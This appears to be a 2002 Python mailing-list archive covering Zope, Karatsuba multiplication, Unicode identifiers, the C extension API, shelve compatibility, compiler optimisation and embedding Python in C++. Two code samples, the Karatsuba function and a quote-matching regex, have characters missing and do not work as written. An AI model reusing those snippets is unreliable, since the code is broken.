engcorp.com Sat May 18 00:07:54 2002 From: peter at engcorp.com (Peter Hansen) Date: Sat, 18 May 2002 00:07:54 -0400 Subject: Problem in ZOPE and python References: <337619fa.0205171844.6bde2256@posting.google.com> Message-ID: <3CE5D39A.814DF5D@engcorp.com> Raphael Ribeiro wrote: > > I have recently installed ZOPE 2.5 and before that i had installed > ActivePython 2.2 , but at zope info page it is like that: > > Zope Version (Zope 2.5.0 (binary release, python 2.1, win32-x86), > python 2.1.2, win32) > Python Version 2.1.2 (#31, Jan 15 2002, 17:28:11) [MSC 32 bit > (Intel)] > System Platform win32 > > And then , can't i compile zope with ActivePython , or can't i compile > extensions to zope using the active state version? > > I want explanations with that , for i'm very confused here , don't > know what to do... Generally the response to questions of this nature seems to be: please try the Zope mailing list, since that's where all the best Zope-related discussion is carried on. http://www.zope.org/Resources/MailingLists -Peter From mcfletch at rogers.com Thu May 23 13:56:13 2002 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Thu, 23 May 2002 13:56:13 -0400 Subject: 2**HUGENUMBER Why not optimise it? References: Message-ID: <3CED2D3D.4010805@rogers.com> > Do you feel like implementing Karatsuba multiplication in > longobject.c? That might actually be some use... > Too bad I'm not a C programmer... here's a Python version, about 2 x slower than in-built mult. The thing is, I don't see how you determine a proper threshold/split value (and all the ones I try wind up with horible timings): import time def karatsuba( x,y, threshold = 1000 ): """Karatsuba multiplication for Python longs 1) how should threshold be determined 2) should there be multiple splits for large numbers? """ thresholdValue = (2L**threshold)-1 # b is the power of 2 at which the split occurs... b = 1L<>threshold assert x == (x1*b+x0) y0 = y&thresholdValue y1 = y>>threshold assert y == (y1*b+y0) return ((1L<<(threshold*2))+b)*x1*y1 - b*(x1-x0)*(y1-y0) + (b+1)*x0*y0 def test( ): data = [ (2L<<1000000,3L<<100000), (5L<<1000000,23L<<100000), (23L<<1000,45L<<2000), (23L<<10000,45L<<20000), ] for x,y in data: t = time.clock() a = x*y t = time.clock()-t print 'regular', t t = time.clock() b = karatsuba(x,y) t = time.clock()-t print 'Karatsuba', t assert a == b if __name__ == "__main__": test() Is the idea that you'd want to take a threshold like 30 and run blocks of 30 all the way along the number? Oh, the gmp system seems to have Karatsuba multiplication for long ints, incidentally. Okay, I feel better now, afternoon's work whacked by a chance to learn something new :) . Thanks Michael! Mike Michael Hudson wrote: > "Mike C. Fletcher" writes: > > >>Maybe I'll just give up on trying to interest people in Python >>optimisation challenges. The good-old days of idle speculation and >>optimisation are dead. Time to stop living in the past. Idea >>dropped, back to boring GUI work. > > > Do you feel like implementing Karatsuba multiplication in > longobject.c? That might actually be some use... > > Cheers, > M. > -- _______________________________________ Mike C. Fletcher http://members.rogers.com/mcfletch/ From mwh at python.net Thu May 9 06:08:39 2002 From: mwh at python.net (Michael Hudson) Date: Thu, 9 May 2002 10:08:39 GMT Subject: "a better input" References: <080520021314438230%alexis.layton@post.harvard.edu> Message-ID: Alex Martelli writes: > > *I realize there are no true complex literals, we'd have to do a little > > extra work here > > What extra work? > > >>> complex('23+45j') > (23+45j) Well, how does cooked_input or whatever tell that 23+45j is a complex literal? The parser won't, at present... Cheers, M. -- I never disputed the Perl hacking skill of the Slashdot creators. My objections are to the editors' taste, the site's ugly visual design, and the Slashdot community's raging stupidity. -- http://www.cs.washington.edu/homes/klee/misc/slashdot.html#faq From aleax at aleax.it Tue May 14 09:20:03 2002 From: aleax at aleax.it (Alex Martelli) Date: Tue, 14 May 2002 13:20:03 GMT Subject: Multibyte Character Surport for Python References: Message-ID: <7a8E8.41035$CN3.1405517@news2.tin.it> Jacob Hallen wrote: > I am Swedish and English is not my first language. > > My view is that Python source code should be UTF-8, so that you can > represent multilingual strings in a readable way. However, I still think > that identifiers should be limited to ASCII. I agree entirely with all of this (even though I'm Italian, not Swedish). > I understand the attraction of using your native language for identifiers > and comments, but it is really the dark side of the source. I don't particularly mind about comments. By far most comments I've read in programs thoughout my life were bogus anyway -- redundant reminders of what language rules mandate anyway, or obsolete and thus actually misleading rather than helpful. I wouldn't mind a language-savvy editor's option to hide or remove all comments - yes, I'd lose something when the comments are actually up to date AND informative about design intentions, but all in all I think I'd break even at worst. OTOH, I think identifiers have a better track record. Yes, a fraction of them are unhelpful or (more rarely) actively misleading -- more often, however, i find them quite informative and helpful in understanding what's going on in code. Alex From Mike_Bohr at gmx.net Tue May 14 12:29:52 2002 From: Mike_Bohr at gmx.net (Bohr, Mike) Date: Tue, 14 May 2002 18:29:52 +0200 Subject: Tkinter Configuration References: Message-ID: yes, I mean the libtcl.so and libtk.so... but they doesen't exist on my system. Where can I download it? From andymac at bullseye.apana.org.au Thu May 23 06:04:40 2002 From: andymac at bullseye.apana.org.au (Andrew MacIntyre) Date: Thu, 23 May 2002 21:04:40 +1100 (edt) Subject: Low level memory management In-Reply-To: Message-ID: On Wed, 22 May 2002, Lorenzo Bolognini wrote: > is there a way to manipulate at a low level memory in Python (as in C) ? > > I know that Python wasn't thought to do that but there maybe a Python module > that acts as a wrapper around some low level functions written in C. Depends what you want. Python is capable of bit twiddling, and there's also the struct module for packing/unpacking raw byte sequences into more usable Python datatypes. -- Andrew I MacIntyre "These thoughts are mine alone..." E-mail: andymac at bullseye.apana.org.au | Snail: PO Box 370 andymac at pcug.org.au | Belconnen ACT 2616 Web: http://www.andymac.org/ | Australia From albo at fandangomusicshop.it Mon May 20 08:06:48 2002 From: albo at fandangomusicshop.it (alba61) Date: Mon, 20 May 2002 14:06:48 +0200 Subject: take a look for a very good link Message-ID: www.fandangomusicshop.com From mwh at python.net Fri May 3 10:39:24 2002 From: mwh at python.net (Michael Hudson) Date: Fri, 3 May 2002 14:39:24 GMT Subject: Unpacking a python list in C? References: Message-ID: Ken Seehof writes: > Michael Hudson wrote: > > Ken Seehof writes: > > > > > Here's some real code that's pretty close to what you want. You can > > > use PyList_* instead of PySequence_* if speed is more important than > > > flexibility (PySequence works with any sequence object). > > > This example is a little different than what you requested (it's a > > > working python extension function). But it does show how to iterate > > > a python list. > > > > > > ///////////////////////// > > > // syntax: obj = manifold([seq]) > > > // returns: new manifold object > > > // > > > // Creates a manifold object, and initializes with sequence > > > > Are you not doing any error checking for clarity? > > Nah, just plain laziness :-) Fair enough. > I think the only error checking I missed is the sequence type check. You miss stuff that's relavent if you pass a sequence implemented in Python in; PySequence_GetItem can fail in arbitrary ways in that case (beyond the Devious class I posted). > > > static PyObject *module_manifold(PyObject *self, PyObject *args) > > > { > > > PyObject *seq = NULL; > > > if (!PyArg_ParseTuple(args, "|O", &seq)) return NULL; > > > > It would be wise to check that "seq" is indeed a sequence at some > > point... > > That's a good idea. Thanks. > > > Also, if you call this function with no argument it will return NULL > > but with no exception set... don't do that. > > Not true. Actually, calling with no argument is valid for "|O", and > in this case leaves seq=NULL (which skips the sequence initialization > as intended). Yeah, you're right of course. I'd have written the same logic in a different way, but there's no reason to prefer my way over yours. [...stuff...] > Thanks, most of your suggestions are very helpful and all your > suggestions are appreciated. Glad to hear it! I should really write some docs for the extending and embedding manual... > I look forward to putting this stuff on SourceForge to get more > feedback, when I get some free time. > > In case you're wondering, "manifold" is a new kind of list. So why's it called manifold then? To me manifold means "topological space locally isomorphic to Euclidean space"... > - safe deletion during iteration > - O(constant) fast __contains__ (in) operator > - global explicit object removal (fast) > - python thread safe > > Basically it solves the problem of explicit removal of an object from > all "lists" of which it is a member, especially in situations where > object removal of any kind would normally be hazardous. I've been using > it for a couple weeks, and it seems stable. The sequence initialization > that I posted is one of a few recent additions for completeness. Not sure I really understand... can you show me how it's used? Cheers, M. -- QNX... the OS that walks like a duck, quacks like a duck, but is, in fact, a platypus. ... the adventures of porting duck software to the platypus were avoidable this time. -- Chris Klein, alt.sysadmin.recovery From lellinghaus at yahoo.com Wed May 15 00:17:45 2002 From: lellinghaus at yahoo.com (Lance Ellinghaus) Date: Tue, 14 May 2002 21:17:45 -0700 (PDT) Subject: A pure Python solution that works like expect ???? In-Reply-To: Message-ID: <20020515041745.237.qmail@web20901.mail.yahoo.com> I am looking for a pure python solution that works like expect. I was looking at the Python FAQ and found a reference to PIPE by John Croix. The link that it gives is no longer valid. Does anyone know how to get a hold of this or something that will work the same way? I need to connect to a SSH session. Is there an alternative that I am overlooking? Thank you, Lance Ellinghaus ===== -- Lance Ellinghaus __________________________________________________ Do You Yahoo!? LAUNCH - Your Yahoo! Music Experience http://launch.yahoo.com From max at alcyone.com Sun May 5 17:23:39 2002 From: max at alcyone.com (Erik Max Francis) Date: Sun, 05 May 2002 14:23:39 -0700 Subject: Choose Your Own Adventure References: Message-ID: <3CD5A2DB.F9FBF976@alcyone.com> Philipp Lenssen wrote: > The Python port of QML (Quest Markup Language) interpreter is now > published > in final stage: > http://questml.com/quests/ > > QML, held in XML, enables you to create multiple-choice quests (like > adventures, or help systems) in easy and cross-browser fashion. > Feedback welcome! A few obvious things: You should get in touch with the interactive fiction community; try posting this announcement to rec.arts.int-fiction. The annotations on the screenshots do not layout properly on Netscape 4.x. You should not use the phrase "Choose Your Own Adventure." It is trademarked. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From rnd at onego.ru Tue May 7 10:15:11 2002 From: rnd at onego.ru (Roman Suzi) Date: Tue, 7 May 2002 18:15:11 +0400 (MSD) Subject: survey: is shelve broken? should it be fixed? In-Reply-To: Message-ID: On Tue, 7 May 2002, Alex Martelli wrote: > Martin v. L?wis wrote: > > > Roman Suzi writes: > > > >> I think it is better to fix and not looking for backward compatibility! > >> It will not be seen on the background of other major changes to Python. > >> So, no smart is needed, IMHO. > > > > I disagree. The past tells us that great care is needed for backwards > > compatibility. > > Right. We really cannot afford to change semantics wantonly, even though > it may seem the old one was 'broken', it WAS around for years, so clearly > some applications might well have relied on it. Are there really applications (but very simple) which survive 1.5.2 -> 2.x leap? In my experience always some little modification is needed to bring them up-to-date with current python version. For example, I have a small module which generate HTML (ala HTMLGen) and when I tried it with python2.1 I got an error: __repr__ method now must return string... I changed that to .repr and `-s to .repr calls and it works again. Probably, I have not read the docs when I wrote that module, but it is certainly incompatibility. One of the pits which my program get into. So, do we really need to support bad behaviour or cut it at the point when it was noticed? I do not believe it will break many programs. Most probably, it will heal some of them. Maybe instead of adding 'smart' it is better to raise Warnings? I can't see reasons to preserve erroneous behaviour for the sake of compatibility. Sincerely yours, Roman A.Suzi -- - Petrozavodsk - Karelia - Russia - mailto:rnd at onego.ru - From a.schmolck at gmx.net Wed May 22 17:34:55 2002 From: a.schmolck at gmx.net (A.Schmolck) Date: 22 May 2002 22:34:55 +0100 Subject: Why does Python mix OO concepts and non OO concepts for operation s on basic types? References: Message-ID: Syver Enstad writes: > jajvirta at cc.helsinki.fi (Jarno J Virtanen) writes: > > > Wed, 22 May 2002 13:13:06 -0500 Michael Bauers wrote: > > > > > > Why do you say x = []; x.append('a'), but get the length with len(a) > > ? > > > > > > > > Is there a reason for this sort of inconsistency? > > > > why not check the FAQ? > > > > http://www.python.org/cgi-bin/faqw.py?req=all#6.5 > > Yes, but the FAQ seems to be *very* old, it also says that in the > distant future it may be possible to subclass built in types. > > I always have to back up in the editor when I am asking an object what > length it has. Like this (I wanna know the length of object foo): > foo. "Aw, It's not a method it's a function that calls a method with > an unsightly name behind the scenes" back the cursor up and write > len(foo) instead of foo.len() which would be much more intuitive. Well, it has its advantages: seq = ["one-two-three", "i ii iii", (1,2,3)] maxLen = max(map(len, seq)) alex From robin at jessikat.fsnet.co.uk Fri May 10 06:02:54 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Fri, 10 May 2002 11:02:54 +0100 Subject: Simple question about how the optimizer works References: <3cda42ef_1@goliath2.newsgroups.com> <3cda43fd_1@goliath2.newsgroups.com> <3CDA9B3C.F2D00FE6@cascade-sys.com> <20020509113410.C18545@unpythonic.net> Message-ID: <+tY+cWAOr528EwNI@jessikat.demon.co.uk> In article , James J. Besemer writes > >Robin Becker wrote: > >> In article , James J. >> Besemer writes >> ..... >> > >> >The way most optimizers work is they detect patterns known to be safe and >also >> >sufficiently common to be worth dealing with. Anything that does not fit >the >> >pattern 100% does not get optimized. >> > >> ..... >> Well strictly speaking this is untrue. This class of optimisation is >> called 'local', 'greedy' or perhaps 'peephole'. Since in fact they may >> not be optimal these methods are really improvers. As to whether most >> optimisers are like this I suppose all the compiler builders who claim >> 'global' etc etc may want to dispute. > >No, I was using "pattern" in it's most general sense, meaning to include both >global and local optimizers. In this overall thread I have alluded to examples >in >both extremes. > >Global optimizers typically examine the attributed parse tree for an entire >module >(multiple variable and function declarations), searching for arbitrarily >complex >"patterns" in the overall tree. When there's a "match," an arbitrarily complex >transformation may be applied to the tree. Analysis can can include >determining >data flows and control flows, necssary to handle some of the tricky things even >in > ..... well I disagree with the term pattern in this reply as it implies something that matches anything which is optimisable ie such a pattern must match all inputs. The problem of code optimisation problem is approximately choose c to optimise F(c,X(c,d)) such that X(c,d)=S(p,d) c=code p=program d=program data F=utility function ie code size/speed etc X=execution function S=semantic function expressed in this form looking for patterns in p is clearly wrong since S(p,d) is fixed for a particular program only up to the program data which we don't normally know. Classic example is all that loop hoisting which is wasteful if the loop never actually gets used. Real experts on optimisation will also tell us that there are extended versions of the above eg vector valued F etc etc and will almost always be very cautious about solvability. Clearly the most important thing here is to ensure feasibility ie X(c,d)=S(p,d) for all d; I suppose that's what we mean by safe. >James J. Besemer 503-280-0838 voice >http://cascade-sys.com 503-280-0375 fax >mailto:jb at cascade-sys.com -- Robin Becker From tjreedy at udel.edu Wed May 29 22:12:53 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 30 May 2002 02:12:53 GMT Subject: What does Python offer? References: Message-ID: "Solosnake" wrote in message news:ad36sv$7h5$1 at newsg1.svr.pol.co.uk... > I was really enquiring about how python might differ from other langauges, > and how this might be pertinant to games programming. e.g. I believe it is > an interpreted langugae, as opposed to compiled? Much like Jave and some other languages, it is compiled (if necessary at runtime) to an intermediate virtual machine code (PyCode in this instance) and then interpreted. > So AI code written in Python could be modified by end users? Easy. The main problem is constructing a sandbox that will let users do appropriate things without letting them do too much (like sabotage the game if multiuser). Terry J. Reedy From martin.erren at brainforce.at Fri May 10 12:06:04 2002 From: martin.erren at brainforce.at (Martin Erren) Date: Fri, 10 May 2002 18:06:04 +0200 Subject: NameError: Case mismatch for module name sys References: <3cdbe559$0$155@ams2eusosrv31.ams.ops.eu.uu.net> Message-ID: <3cdbeff9$0$154@ams2eusosrv31.ams.ops.eu.uu.net> "Steve Holden": > > in a package named "Sys" (not of my own). I need: > > > > import traceback, sys > > > > Then I get > > > > "NameError: Case mismatch for module name sys" > > (filename lib\Sys\Sys.py) > > > > I don't need "Sys" in the package, > > but "sys" in the python-standard lib. > > > > Is the namespace case-insensitive, but I have to address > > it case-sensitive? > > > The problem arises because Python has to deal not only with Linux and other > environments where the filesystem is case-sensitive, but also with Windows > and others where it isn't. Oh, this sounds plausible. I'm working on NT. > > Can I "leave" the package-Directory in imports explicitely? > > > Not quite sure what this question means -- whoever provided you with this > package doesn't appear to be very experienced with Python. What exactly is > it you want to do? I'm not, too. In fact, this is written for Windows. I want to say: Don't take Sys.py in package Sys, but "sys" in Standard-Lib. Or say: "Always look in python-standard lib first" When this is not possible, I try to write a wrapper in another package. Thanks, Martin From look at sig.invalid Fri May 10 01:36:56 2002 From: look at sig.invalid (Simo Salminen) Date: Fri, 10 May 2002 05:36:56 +0000 (UTC) Subject: Python stagnating? References: Message-ID: * Chris [Fri, 10 May 2002 01:16:31 -0000] > The ActiveState Python has a windows help file that is convenient. python.org had the windows help format for download couple months ago, but not anymore.. you can, however, download the pyshelf which contains documentation in windows help format here: http://www.orgmf.com.ar/condor/pytstuff.html -- simo salminen iki fi From pyth at devel.trillke.net Thu May 16 17:43:46 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 16 May 2002 23:43:46 +0200 Subject: how to determine an 'open' string? In-Reply-To: <20020516232456.P28033@prim.han.de>; from pyth@devel.trillke.net on Thu, May 16, 2002 at 11:24:56PM +0200 References: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BB3@hendrix.empolisuk.com> <20020517090025.04369a30.larooy@xtar.co.nz> <20020516232456.P28033@prim.han.de> Message-ID: <20020516234346.Q28033@prim.han.de> To John La Rooy wrote: > > is this short enough for you? > > > > import re > > > > def quoteopen(s): > > quot=re.compile("(?P\"\"\"|'''|\"|').*?(?P=quot)") > > s=quot.sub("",s) > > return "'" in s or '"' in s > > my other version also returns the 'open quote' but > yours is shorter. you won :-) NO! you lost :-/ it doesn't work because the rex tries too hard to match. paste this to your interpreter... quoteopen('"""a"a""') and it will match in ".*?" pairs which yields the wrong result. > regexes often offer more than one might think... especial more subtlety :-) holger From tundra at tundraware.com Wed May 22 13:00:02 2002 From: tundra at tundraware.com (Tim Daneliuk) Date: Wed, 22 May 2002 17:00:02 GMT Subject: OT: The sun shines out of big business References: <3CE68BAA.726DA1A6@engcorp.com> <3CE88785.B9042718@tundraware.com> <838z6epblf.fsf@panacea.canonical.org> <3CE9BC7F.A3565ADE@tundraware.com> <3CE9C990.3064C01C@cascade-sys.com> <20020521143354.Q4474@regdp-02.intint.registriesltd.com.au> <3CE9FF2F.DD6CF828@cascade-sys.com> <3CEB0536.1E4F6D53@tundraware.com> <23891c90.0205220324.3fd0279b@posting.google.com> Message-ID: <3CEBCD0E.E82D7A9C@tundraware.com> Paul Boddie wrote: > > Tim Daneliuk wrote in message news:<3CEB0536.1E4F6D53 at tundraware.com>... > > what a crock. The people dying by the thousands are doing so because they > > have failed to overthrow their dictators and embrace Capitalism. > > Can you now take this discussion, if it is to continue, to another > forum? Firstly so that the number of blatantly irrelevant > contributions to this group is reduced, and secondly so that your > opinions can be subject to the scrutiny (and in certain cases, > ridicule) that they deserve. > > Paul > > P.S. Don't bother replying to me directly - I don't have the time or > inclination to endlessly debate these topics, which is seemingly the > objective of political discussions on non-political newsgroups (after > having observed such discussions many times before). You're absolutely right - I will desist immediately - my apologies... -- ------------------------------------------------------------------------------ Tim Daneliuk tundra at tundraware.com From andy at reportlab.com Fri May 10 21:38:21 2002 From: andy at reportlab.com (Andy Robinson) Date: Sat, 11 May 2002 01:38:21 GMT Subject: making postscript of pdf files References: Message-ID: > can always convert PS to PDF. Stay way way way away from creating > raster images to display your *textual* information. Also, if you want > to make graphs, you can produce encapsulated postscript with graphing > programs (e.g., gnuplot). I should point out that reportlab has some fairly sophisticated chart libraries included in the distribution which can make bitmaps and Postscript charts as well as rectangular drawings within PDF documents :-) Andy Robinson ReportLab inc. From cbrown at metservice.com Wed May 29 16:26:05 2002 From: cbrown at metservice.com (Colin Brown) Date: Thu, 30 May 2002 08:26:05 +1200 Subject: Looking for an tutorial References: Message-ID: <3cf5393c$1@news.nz.asiaonline.net> Hi Sebastion Try searching on "python pdf sockets" in Google eg: http://py-howto.sourceforge.net/pdf/sockets.pdf looks interesting. Colin Brown PyNZ "Sebastian Roth" wrote in message news:mailman.1022669866.8228.python-list at python.org... > Hi all, > > I know, google could help me, but it doesn't prints any good links for > my request. Im looking for an python-tutorial about sockets and basic > network-data-transfers. I tried socket overview from the python > homepage/documentation but it doesn't say anything about InputOutput > over a network. Only about 'how to set up an server/client'. > > The Python library reference could'nt help me, too, because I'm looking > for some expamples, too. ;) > > So, do you know something about an good tutorial related to this topic? > > Thanks in advance, > > Sebastian > > > > From theller at python.net Wed May 15 03:02:17 2002 From: theller at python.net (Thomas Heller) Date: Wed, 15 May 2002 09:02:17 +0200 Subject: Python install on Windows References: <3ce203b1.682640671@news.skynet.be> Message-ID: > I downloaded the installer for Python 2.2 from www.python.org > I just wondered whether the source files for that installation process > are available and if so, where I can find/get them. I could use it to > write an unattended installer to install just the interpreter and its > libraries. They are contained in the source distribution. AFIAK, there are a pcbuild.dsw file (which requires the commercial Wise InstallBuilder), and the start of an installation script for the free Inno-setup. Thomas From DeepBleu at DeepBleu.org Fri May 10 13:03:22 2002 From: DeepBleu at DeepBleu.org (DeepBleu) Date: Fri, 10 May 2002 12:03:22 -0500 Subject: ODBC v. mxODBC References: Message-ID: "don" wrote in message news:abepnd$gf6$1 at news.ycc.yale.edu... > Anyone prefer one module to the other? Why? -Don > odbc module is outdated and it says so in the docs on the python web site. mxodbc is a supported module and it works. If you are serious about Databases with odbc, use mxodbc Or check: http://www.e-coli.net/pyado.html for ADO and Python (you need Python with Win32 Hammonds package). DeepBleu From kragen at pobox.com Sat May 25 14:14:51 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 25 May 2002 14:14:51 -0400 Subject: Importing Self References: Message-ID: <83lma8jdr8.fsf@panacea.canonical.org> zayats at blue.seas.upenn.edu (Salim Zayat) writes: > But, when I import the module itself, then say: > > isinstance(path.filename.Error) > > it works fine. Why is this? What are these sort of problems indicituve of? I'm having a hard time understanding what you're saying, but I suspect you might be running a module as the main program (module __main__) and also importing it, and being surprised that the two instances are not the same. From egrossde at yahoo.de Thu May 2 02:49:32 2002 From: egrossde at yahoo.de (jb) Date: Thu, 02 May 2002 08:49:32 +0200 Subject: Indexing cells in a table References: <3ccbac7c_3@news.newsgroups.com> Message-ID: <3cd0dd80_1@news2.newsgroups.com> Alex Martelli wrote: > def setValues(T, (minI, minJ), (maxI, maxJ), **attributes): > for i in range(minI, maxI+1): > for j in range(minJ, maxJ+1): > for attName in attributes: > attValue = attributes[attName] > setattr(T[i][j], attName, attValue) > > Note that this latter syntax easily allows setting multiple attributes: > just call, e.g., setValues(T, (1,1), (2,3), a=12, b=34, c=56) should > you ever need that. You pay little for the generality, and get a > rather pretty calling-syntax too. This last one is very nice, thx. -- Janos Blazi -----------== Posted via Newsfeeds.Com - Uncensored Usenet News ==---------- http://www.newsfeeds.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Ulimited Fast Downloads - 19 Servers =----- From boud at valdyas.org Mon May 6 04:07:22 2002 From: boud at valdyas.org (Boudewijn Rempt) Date: Mon, 06 May 2002 10:07:22 +0200 Subject: Python Cookbook (printed) References: <3cd472d2$0$8508$cc9e4d1f@news.dial.pipex.com> <3CD479DC.67155DE4@bellatlantic.net> <3CD581AF.2070202@earthlink.net> Message-ID: <3cd63a0d$0$209$e4fe514c@dreader3.news.xs4all.nl> Ron Stephens wrote: > I'll be waitng in line to read it ;-))) I've also got it on order. > > But July is fine, and a better product is always worth the wait. Anyway, > I need some more time to fully absorb Boudewijn Rempt's book on Gui > programming with the QT Toolkit. By the way, Shawn Gordon is putting out > feelers to see if there is enough demand to do a re-printing, as the > Kompany has sold out of the first printing. > I didn't know that... :-). > My advice is that if for anyone interested in GUI programming, the book > is well worth it. Especially if one is willing to buy the Black Adder > GUI painter and IDE. I'm purring... I'm still waiting for Joshua to put the errata (not all that many yet, but still), up on the opendocs website. In the meantime, they're here: http://www.valdyas.org/python/book.html. -- Boudewijn Rempt | http://www.valdyas.org From python at gbronline.com Sat May 25 21:53:56 2002 From: python at gbronline.com (Peter F. Ferris) Date: Sat, 25 May 2002 20:53:56 -0500 Subject: Off Topic, But List Related -- Tired of Getting Spammed Via In-Reply-To: Message-ID: <007101c20458$335f1e20$388e7aa5@adirondacker> Hi Sean, et al; Me again! ;-) Please keep reading... : >: public lists lead to spam. You get used to it or you try to : >: control it coming : >: in. Changing this list won't help. : > : > "Get used to it"?!?!? You're kidding... : > : : no, I am not. I get over 600 mails a day, the ten or so that are spam are Wowzers. You sure got me beat there! Between work and home, personally & professionally, I only get around 200-300 a day, depending on how many flame wars I've started, whether the boss is on vacation, etc. :-) I'd guesstimate that of 200 messages, ~0 are typically spam. Thus I found it particularly irksome that upon joining this list, my spam intake has suddenly accelerated! : meaningless. My mail gets filtered by mailing list and a few other : criterion : so the spam lands in my inbox and is immediately recognizable. I just : highlight it a few at a time and *poof* gone. Just like i do the paper : spam : that gets mailed to me every day. I also do some filtering & rules to treat the lists I subscribe to, so I can deal with it as time & priority dictate. I wonder what it would cost to mail a first class letter if there weren't 'paper spam' - I won't even mention the ecological savings (ooops!). But I'm not really interested in debating this point at all. I'm just wanted to let folks know the technology already exists and is easy to come by & deploy with relatively little effort. You CAN control to a very high degree just how much spam you ingest. Many seem to be resigned to be spam victims. No thank-you, NOT me! : > I beg to differ. Perhaps you didn't read about Shibboleth. Clear text : > addresses do not appear anywhere in the messages unless the (l)user : writes : > it in the message body. : > : : as Oleg points out this only reduces the chances and does nothing to stop : people who subscribe to reap addresses. The more you try to stop spammers : the : smarter they get. For the third (and final! ;-) ) time, perhaps you should read the white paper. I've supplied the URL twice. The only addresses that would be gleaned would be those typed in the message body by the user. List subscribers know this and seldom forget or 'slip'. Especially if it's their own address. ;-) Signature lines are easily edited to included addresses like: "someaddress AT somedomain DOT com". Inbound messages from a non-subscriber (spammer, ex-member, etc.) will bounce. I guess this really isn't as big an issue to some people that don't care about SPAM/UCE. The biggest problem I have (aside from any moral/ethical debate about spam) is it never seems to quit once an address is compromised. One spammer after another churns the address. So once the address has fallen into the hands of spammers, I usually build a filter to trash any incoming messages. Just wanted folks here to know they had a choice and to understand that on a properly secure and administered list, incidents of spamming are extremely nil. As said, not once in several years of subscribing to a list using Shibboleth has the list or me been spammed that I am aware of. That's a fact. The software exists. We can debate the philosophy of spam 'til the cows come home, but that won't make it quit. Hitting the "Delete" key is easy enough I guess, but I say "Why invite/permit spam to your PC to begin with?" Permitting spam merely begets more spam. Again, I just wanted the folks that run and use this list to know they don't HAVE to be spammed just because they subscribe to a given list. And, by the way, if the list is mirrored to a public newsgroup, that's fine. If e-mail addresses didn't make to the list in a spammer friendly format, they wouldn't make it to the newsgroup either. I won't explain it all here. RTWP. Read The White Paper. My apologies for diverting the topics a bit. It seemed appropriate at the time. Have a great weekend all. Cordially, --Pete From cliechti at gmx.net Wed May 29 20:19:34 2002 From: cliechti at gmx.net (Chris Liechti) Date: 30 May 2002 02:19:34 +0200 Subject: Running a script as a daemon at boot time References: Message-ID: "Engel, Gregory" wrote in news:mailman.1022710248.7714.python-list at python.org: > I've a script which in part serves as an HTTP server. I can run this > as a background process when logged on as myself. I need to find a > way to have the script run as a daemon at boot time. I have written a > script for /etc.rc.d/init.d and it responds well to start/stop > commands. However, when a GET request arrives at the server, the > process dies without generating an error (at least that I've been able > to trap.) The do_GET is as follows: > self.ServerLog('Mark 1') # This line gets logged... > > self.send_response(200) > > self.ServerLog('Mark 1') # This line DOES NOT get > logged... i think send_response writes a message to sys.stderr. do you have closed that file? you can redirect sys.stderr and and sys.stdout to a log file or replace them with a NIL writer, but don't close it: class NIL: def write(self, s): pass sys.stdout = sys.stderr = NIL() or: sys.stdout = sys.stderr = open("/var/log/mydaemonlog","w") redirecting stderr in a logfile is useful - that way you have the traceback from exceptions logged... just had it in the clipboard from an other message... this shows how to decouple the script to be runas a demon: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/66012 chris -- Chris From boud at valdyas.org Wed May 1 11:56:11 2002 From: boud at valdyas.org (Boudewijn Rempt) Date: Wed, 01 May 2002 17:56:11 +0200 Subject: Defining new functions at runtime References: Message-ID: <3cd01061$0$37895$e4fe514c@dreader3.news.xs4all.nl> Chandan Shanbhag wrote: > I am writing a GUI interface to a database using tkinter. Now, I want > to > provide a facility where a user can define python functions using the GUI > and then run them in the same runtime environment. so, a normal function > needs to be treated like a method object. > Is this possible? Can I treat functions as first class objects? Can > somebody please guide me as to how I could accomplish this? > It doesn't use Tkinter, but I've tried to explain one way of doing this in: http://www.opendocspublishing.com/pyqt/index.lxp?lxpwrap=c6996%2ehtm -- Boudewijn Rempt | http://www.valdyas.org From bdash at gmx.net Thu May 30 01:00:56 2002 From: bdash at gmx.net (Mark Rowe) Date: Thu, 30 May 2002 17:00:56 +1200 Subject: Passing values from C++ to embedded python. References: <7PeJ8.27836$Ir1.1692191@twister.southeast.rr.com> Message-ID: <3CF5B208.7080503@gmx.net> Justin Dubs wrote: >Hey everyone, > >I have a C++ app in which I have embedded the python interpreter. I have a >thread which does the simple Py_Initialize(), PyRun_InteractiveLoop(), >Py_Finalize() business using stdin and stdout. Meanwhile the main thread >does all the regular functionality of the app in another window. I have >several classes, written in C++, which I have wrapped with SWIG and compiled >into a shared library. C++ can instantiate the original classes, obviously, >as they are written in C++. Python can instantiate the wrapped classes from >the shared library and that also works perfectly. > >So, my problem is thus: > >If I have a pointer to an instance of one of these classes in C++, how can I >create a python variable that points to the same instance? > >In other words, in pseudocode: > >In C++: > MyClass *foo = new MyClass(); > foo->SetAnswer(42); > // insert unknown code to communicate foo to python > >In Python, from my interactive interpreter running on stdin and stdout >within the C++ app: > # insert unknown code to receive foo from c++ > >>> foo.getAnswer(); > 42 > >I hope you can understand what I am trying to accomplish. I need to make >python aware of an instance of a variable that exists in C++. I tried doing >this some simple ways from C++ using PyCObject_* and PyInstance_* and >PyNew_* and other things. But, alas, I am but a beginner with the Python/C >API and I could really use some help. > >Thanks a lot everyone, > >Justin Dubs > > > > Hello, I had a similar problem recently. I'm unsure if the method that I used to solve it is the simplest way to do so, but so far it has worked for me. The SWIG function SWIG_NewPointerObj can be used to return a PyObject * for your wrapped class. If you are using SWIG shadow classes, you then have to create a wrapper class instance that shadows the newly created PyObject *. You can then insert the PyObject * into the appropriate Python namespace. eg (Edited and untested): PyObject *ToConsole(Console *c); // Insert console object to into Python namespace void InsertObject(Console *m_console) { PyObject * console_s = NULL, * a3d_m = NULL, * a3d_md = NULL, * console_class = NULL; PyObject * console = NULL, * main = NULL, * main_d = NULL, * arg_tuple = NULL; console_s = ToConsole(m_console); // Create Python shadow class from Python Object // A3D.py is the shadow class file 